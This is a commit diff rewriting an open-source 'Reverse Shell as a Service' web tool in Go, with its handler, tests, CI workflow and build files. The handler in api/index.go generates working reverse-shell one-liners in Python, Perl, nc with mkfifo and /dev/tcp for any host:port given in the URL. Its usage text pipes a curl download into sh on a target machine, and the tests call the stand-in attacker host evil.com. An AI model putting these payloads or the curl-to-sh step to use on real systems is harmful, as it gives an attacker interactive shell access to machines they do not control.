Rewrite in Go

.github/workflows/test.yml

@@ -0,0 +1,13 @@
+name: Test
+
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+      - run: go test -v ./...

.gitignore

@@ -1,73 +1,8 @@
-## Node
-
-# Logs
-logs
-*.log
-npm-debug.log*
-
-# Runtime data
-pids
-*.pid
-*.seed
-*.pid.lock
-
-# Directory for instrumented libs generated by jscoverage/JSCover
-lib-cov
-
-# Coverage directory used by tools like istanbul
-coverage
-
-# nyc test coverage
-.nyc_output
-
-# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
-.grunt
-
-# node-waf configuration
-.lock-wscript
-
-# Compiled binary addons (http://nodejs.org/api/addons.html)
-build/Release
-
-# Dependency directories
-node_modules
-jspm_packages
-
-# Optional npm cache directory
-.npm
-
-# Optional eslint cache
-.eslintcache
-
-# Optional REPL history
-.node_repl_history
-
-## OS X
+# Binary
+reverse-shell
 
+# OS X
 *.DS_Store
-.AppleDouble
-.LSOverride
-
-# Icon must end with two \r
-Icon
-
-
-# Thumbnails
-._*
-
-# Files that might appear in the root of a volume
-.DocumentRevisions-V100
-.fseventsd
-.Spotlight-V100
-.TemporaryItems
-.Trashes
-.VolumeIcon.icns
-.com.apple.timemachine.donotpresent
 
-# Directories potentially created on remote AFP share
-.AppleDB
-.AppleDesktop
-Network Trash Folder
-Temporary Items
-.apdisk
+# Vercel
 .vercel

api/index.go

@@ -0,0 +1,56 @@
+package handler
+
+import (
+	"fmt"
+	"net/http"
+	"strings"
+)
+
+const usage = `# Reverse Shell as a Service
+# https://github.com/lukechilds/reverse-shell
+#
+# 1. On your machine:
+#      nc -l 1337
+#
+# 2. On the target machine:
+#      curl https://reverse-shell.sh/yourip:1337 | sh
+#
+# 3. Don't be a dick`
+
+type payload struct {
+	cmd  string
+	code string
+}
+
+func ReverseShell(address string) string {
+	parts := strings.SplitN(address, ":", 2)
+	if len(parts) != 2 || parts[0] == "" || parts[1] == "" {
+		return usage
+	}
+
+	host := parts[0]
+	port := parts[1]
+
+	payloads := []payload{
+		{"python", fmt.Sprintf(`python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("%s",%s)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`, host, port)},
+		{"perl", fmt.Sprintf(`perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, host, port)},
+		{"nc", fmt.Sprintf(`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f`, host, port)},
+		{"sh", fmt.Sprintf(`/bin/sh -i >& /dev/tcp/%s/%s 0>&1`, host, port)},
+	}
+
+	script := usage
+	for _, p := range payloads {
+		script += fmt.Sprintf("\n\nif command -v %s > /dev/null 2>&1; then\n\t%s\n\texit;\nfi", p.cmd, p.code)
+	}
+
+	return script
+}
+
+func Handler(w http.ResponseWriter, r *http.Request) {
+	address := strings.TrimPrefix(r.URL.Path, "/")
+	oneMonth := 60 * 60 * 24 * 30
+
+	w.Header().Set("Content-Type", "text/plain")
+	w.Header().Set("Cache-Control", fmt.Sprintf("s-maxage=%d", oneMonth)) // Cache at edge
+	fmt.Fprint(w, ReverseShell(address))
+}

api/index_test.go

@@ -0,0 +1,76 @@
+package handler
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+)
+
+func TestReverseShellReturnsShellCode(t *testing.T) {
+	result := ReverseShell("evil.com:1337")
+	if !strings.Contains(result, `("evil.com",1337)`) {
+		t.Error("expected shell code to contain host and port")
+	}
+}
+
+func TestReverseShellContainsAllPayloads(t *testing.T) {
+	result := ReverseShell("evil.com:1337")
+	for _, cmd := range []string{"python", "perl", "nc", "sh"} {
+		if !strings.Contains(result, "if command -v "+cmd) {
+			t.Errorf("expected payload for %s", cmd)
+		}
+	}
+}
+
+func TestReverseShellReturnsUsageWithoutAddress(t *testing.T) {
+	result := ReverseShell("")
+	if !strings.HasPrefix(result, "# Reverse Shell as a Service") {
+		t.Error("expected usage text")
+	}
+}
+
+func TestReverseShellReturnsUsageWithoutPort(t *testing.T) {
+	result := ReverseShell("evil.com")
+	if !strings.HasPrefix(result, "# Reverse Shell as a Service") {
+		t.Error("expected usage text")
+	}
+}
+
+func TestHandlerSetsHeaders(t *testing.T) {
+	req := httptest.NewRequest(http.MethodGet, "/evil.com:1337", nil)
+	rec := httptest.NewRecorder()
+	Handler(rec, req)
+
+	if rec.Code != http.StatusOK {
+		t.Errorf("expected status 200, got %d", rec.Code)
+	}
+	if ct := rec.Header().Get("Content-Type"); ct != "text/plain" {
+		t.Errorf("expected text/plain, got %s", ct)
+	}
+	if cc := rec.Header().Get("Cache-Control"); cc != "s-maxage=2592000" {
+		t.Errorf("expected s-maxage=2592000, got %s", cc)
+	}
+}
+
+func TestHandlerReturnsShellScript(t *testing.T) {
+	req := httptest.NewRequest(http.MethodGet, "/evil.com:1337", nil)
+	rec := httptest.NewRecorder()
+	Handler(rec, req)
+
+	body := rec.Body.String()
+	if !strings.Contains(body, `("evil.com",1337)`) {
+		t.Error("expected response body to contain shell code")
+	}
+}
+
+func TestHandlerReturnsUsageForRoot(t *testing.T) {
+	req := httptest.NewRequest(http.MethodGet, "/", nil)
+	rec := httptest.NewRecorder()
+	Handler(rec, req)
+
+	body := rec.Body.String()
+	if !strings.HasPrefix(body, "# Reverse Shell as a Service") {
+		t.Error("expected usage text")
+	}
+}

go.mod

@@ -0,0 +1,3 @@
+module github.com/lukechilds/reverse-shell
+
+go 1.25.7

main.go

@@ -0,0 +1,23 @@
+package main
+
+import (
+	"fmt"
+	"net/http"
+	"os"
+
+	handler "github.com/lukechilds/reverse-shell/api"
+)
+
+func main() {
+	port := os.Getenv("PORT")
+	if port == "" {
+		port = "3000"
+	}
+
+	http.HandleFunc("/", handler.Handler)
+	fmt.Printf("Listening on :%s\n", port)
+	if err := http.ListenAndServe(":"+port, nil); err != nil {
+		fmt.Fprintf(os.Stderr, "Error: %v\n", err)
+		os.Exit(1)
+	}
+}